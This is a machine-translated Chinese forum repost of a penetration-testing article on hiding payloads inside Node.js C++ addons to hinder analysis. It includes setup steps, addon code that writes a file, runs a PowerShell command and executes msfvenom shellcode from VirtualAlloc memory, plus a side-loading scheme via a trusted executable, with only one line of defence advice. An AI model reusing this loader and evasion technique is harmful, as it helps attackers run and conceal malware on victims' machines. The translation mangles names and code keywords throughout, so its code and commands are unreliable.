剑道尘心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在之前的文章《渗透测试中的Node.js——Downloader的实现》 开源了一个使用节点。射流研究…实现下载器的代码,简要分析在渗透测试中的利用思路。 节点。射流研究…的语法简单易懂,所以节点。射流研究…代码也很容易被分析。 为了增加节点。射流研究…代码被分析的难度,我的思路是利用节点。射流研究…的一个功能,将有效载荷以C插件的形式进行封装。 这样不但能够增加节点。射流研究…代码被分析的难度,而且可以用C代码来实现有效载荷,已有的C代码经过简单的修改即可使用,减小二次开发的成本。 0x01 简介 本文将要介绍以下内容: C插件简介 搭建C插件的开发环境 C插件代码实例 利用思路 防御建议 0x02 C++插件简介 Node.js C插件是用C编写的动态链接库,可以使用需要()函数加载到节点。射流研究…中。利用V8提供的API,可以实现Java脚本语言和C的互相调用,打通Java脚本语言和C之间的接口。 官方文档: https://nodejs.org/api/addons.html 使用实例: 编译成功一个C插件,导出方法为:你好 使用节点。射流研究…调用C插件导出方法的代码如下: const addon=require(' ./addon。节点’); 阿登。hello(); 执行代码 node.exe考试网 0x03 搭建C++插件的开发环境 1、Windows开发环境 测试系统:Win7sp1 x64 需要安装以下工具:网框架4.5.1或更高版本 Python 2.7 Visual Studio 2015或更高版本 具体搭建流程如下: 1.安装100 .净框架4.5.1 https://www.microsoft.com/en-US/download/details.aspx?id=5842 2.下载节点。射流研究… https://nodejs.org/en/download/ 3.使用windows-构建-工具自动安装依赖工具 https://github.com/felixrieseberg/windows-build-tools cd c:\ powershell npm安装-全局windows-构建-工具 如果安装失败,可选择手动安装以下工具: Python 2.7 Visual Studio 2015或更高版本 4.安装节点-吉普 https://github.com/nodejs/node-gyp npm安装-g节点-吉普 2、Linux开发环境 wget https://nodejs。org/dist/v 10。15 .3/节点v 10。15 .3-Linux-x64。焦油。xz tar xf节点-v 10。15 .3-Linux-x64。焦油。xz 激光唱片节点-版本10.15.3-linux-x64 激光唱片盒 导出路径=/root/node-v 10。15 .3-Linux-x64/bin:$ PATH。/npm install -g节点-吉普 注: 需要添加环境变量指定结节的位置(导出路径=/root/node-v 10。15 .3-Linux-x64/bin:$ PATH),否则在执行npm安装会失败,提示/usr/bin/env:"node ":没有这样的文件或目录 实例演示: hello.cc: #包括 命名空间演示{ 使用V8:FunctionCallbackInfo; 使用V8:隔离; 使用V8:本地; 使用V8:新的字符串类型; 使用V8:Object; 使用V8:String; 使用V8:值; 空的方法(const FunctionCallbackInfo参数){ Isolate* isolate=args .GetIsolate(); 参数GetReturnValue().Set(String:NewFromUtf8( isolate,' world ',NewStringType:kNormal).ToLocalChecked()); } 空的初始化(本地导出){ 节点集方法(导出,'你好',方法); } 节点模块(节点骗子模块名称,初始化) } //名称空间演示 binding.gyp { 目标':[ { target_name': 'addon ', sources': [ 'hello.cc' ] } ] } 通过节点-吉普编译,生成插件 节点-吉普配置 节点-吉普构建 注: 可以合并成一条命令: 节点-吉普配置构建 节点。射流研究…支持交叉编译,具体参数说明可参考: https://www.npmjs.com/package/node-pre-gyp Linux操作系统操作系统系统下生成Windows64位系统下使用的插件命令如下: 节点-gyp配置build-target _ arch=x64-target _ platform=win32 0x04 C++插件代码实例 在开发时,最好避免出现如果这种的条件判断语句,直接使用会导致编译错误 1. 释放文件 #包括 #包括 命名空间演示{ 使用V8:FunctionCallbackInfo; 使用V8:隔离; 使用V8:本地; 使用V8:Object; 使用V8:String; 使用V8:值; 空的方法(const FunctionCallbackInfo参数){ 文件* fp fopen_s(fp,' new.txt ',' ab '); char * buf=' 123456 fwrite(buf,strlen(buf),1,FP); fseek(fp,0,SEEK _ END); fclose(FP); } 无效初始化(本地导出){ 节点集方法(导出,'你好',方法); } 节点模块(节点骗子模块名称,初始化) } 2. 执行命令: #包括 命名空间演示{ 使用V8:FunctionCallbackInfo; 使用V8:隔离; 使用V8:本地; 使用V8:Object; 使用V8:String; 使用V8:值; 空的方法(const FunctionCallbackInfo参数){ 系统(' powershell开始计算。exe’); } 无效初始化(本地导出){ 节点集方法(导出,'你好',方法); } 节点模块(节点骗子模块名称,初始化) } 3.执行shellcode 生成外壳代码: MSF venom-p windows/x64/exec CMD=calc。可执行文件 加载外壳代码并执行: #包括 #包括 命名空间演示{ 使用V8:FunctionCallbackInfo; 使用V8:隔离; 使用V8:本地; 使用V8:Object; 使用V8:String; 使用V8:值; 空的方法(const FunctionCallbackInfo参数){ 无符号字符外壳代码[]=' \ xfc \ x48 \ x83 \ xe4 \ xf0 \ xe8 \ xc0 \ x00 \ x00 \ x00 \ x41 \ x51 \ x41 \ x50 \ x52 ' \ x51 \ x56 \ x48 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ X60 \ x48 \ x8b \ x52 \ x18 \ x48 ' \ x8b \ x52 \ x20 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x4a \ x4a \ x4d \ x31 \ xc9 ' \ x48 \ x31 \ xc0 \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ xc1 \ xc9 \ x0d \ x41 ' \ x01 \ xc1 \ xe2 \ xed \ x52 \ x41 \ x51 \ x48 \ x8b \ x52 \ x20 \ x8b \ x42 \ x3c \ x48 ' \ x01 \ xd0 \ x8b \ X80 \ x88 \ x00 \ x00 \ x48 \ x85 \ xc0 \ x74 \ x67 \ x48 \ x01 ' \ xd0 \ x50 \ x8b \ x48 \ x18 \ x44 \ x8b \ x40 \ x20 \ x49 \ x01 \ xd0 \ xe3 \ x56 \ x48 ' \ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 ' ' xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c ' \ x24 \ x08 \ x45 \ x39 \ xd1 \ x75 \ xd8 \ x58 \ x44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 ' \ x66 \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 ' \ x88 \ x48 \ x01 \ xd0 \ x41 \ x58 \ x41 \ x58 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 ' \ x41 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ x52 \ xff \ xe0 \ x58 \ x41 \ x59 \ x5a \ x48 ' \ x8b \ x12 \ xe9 \ x57 \ xff \ xff \ x5d \ x48 \ xba \ x01 \ x00 \ x00 \ x00 \ x00 ' \ x00 \ x00 \ x00 \ x48 \ x8d \ x8d \ x01 \ x00 \ x00 \ x41 \ xba \ x31 \ x8b \ x6f ' \ x87 \ xff \ xd5 \ xbb \ xf0 \ xb5 \ xa2 \ x56 \ x41 \ xba \ xa6 \ x95 \ xbd \ x9d \ xff ' \ xd5 \ x48 \ x83 \ xc4 \ x28 \ x3c \ x06 \ x7c \ x0a \ X80 \ xfb \ xe0 \ x75 \ x05 \ xbb ' \ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x59 \ x41 \ x89 \ xda \ xff \ xd5 \ x63 \ x61 \ x6c ' \ x63 \ x2e \ x65 \ x78 \ x65 \ x00 '; void *sc=VirtualAlloc(0,sizeof(外壳代码),MEM _保留MEM提交,页面_执行_读写); memcpy(sc,shellcode,sizeof(shellcode)); (*(int(*)))sc)(); } 无效初始化(本地导出){ 节点集方法(导出,'你好',方法); } 节点模块(节点骗子模块名称,初始化) } 编译好的插件已上传至github,地址如下: https://github.com/3gstudent/test/raw/master/addon.node 以上插件代码的导出方法均为你好,调用方式如下: const addon=require(' ./addon。节点’); 阿登。hello(); 0x05 利用思路 1、被第三方可信程序加载 参考: https://bbs.pediy.com/thread-249573.htm t.exe-node.exe-main.js 主页。射流研究…与阿登。节点放在同级目录,main.js的内容如下: const addon=require(' ./addon。节点’); 阿登。hello(); 阿登。节点的格式为动态链接库文件,无法直接获得有效载荷,增加静态分析的成本 0x06 防御建议 对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任 0x07 小结 本文介绍了节点。射流研究…中C插件的用法,可以用来增加节点。射流研究…代码被分析的难度,最后分享了三个有效载荷的写法。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子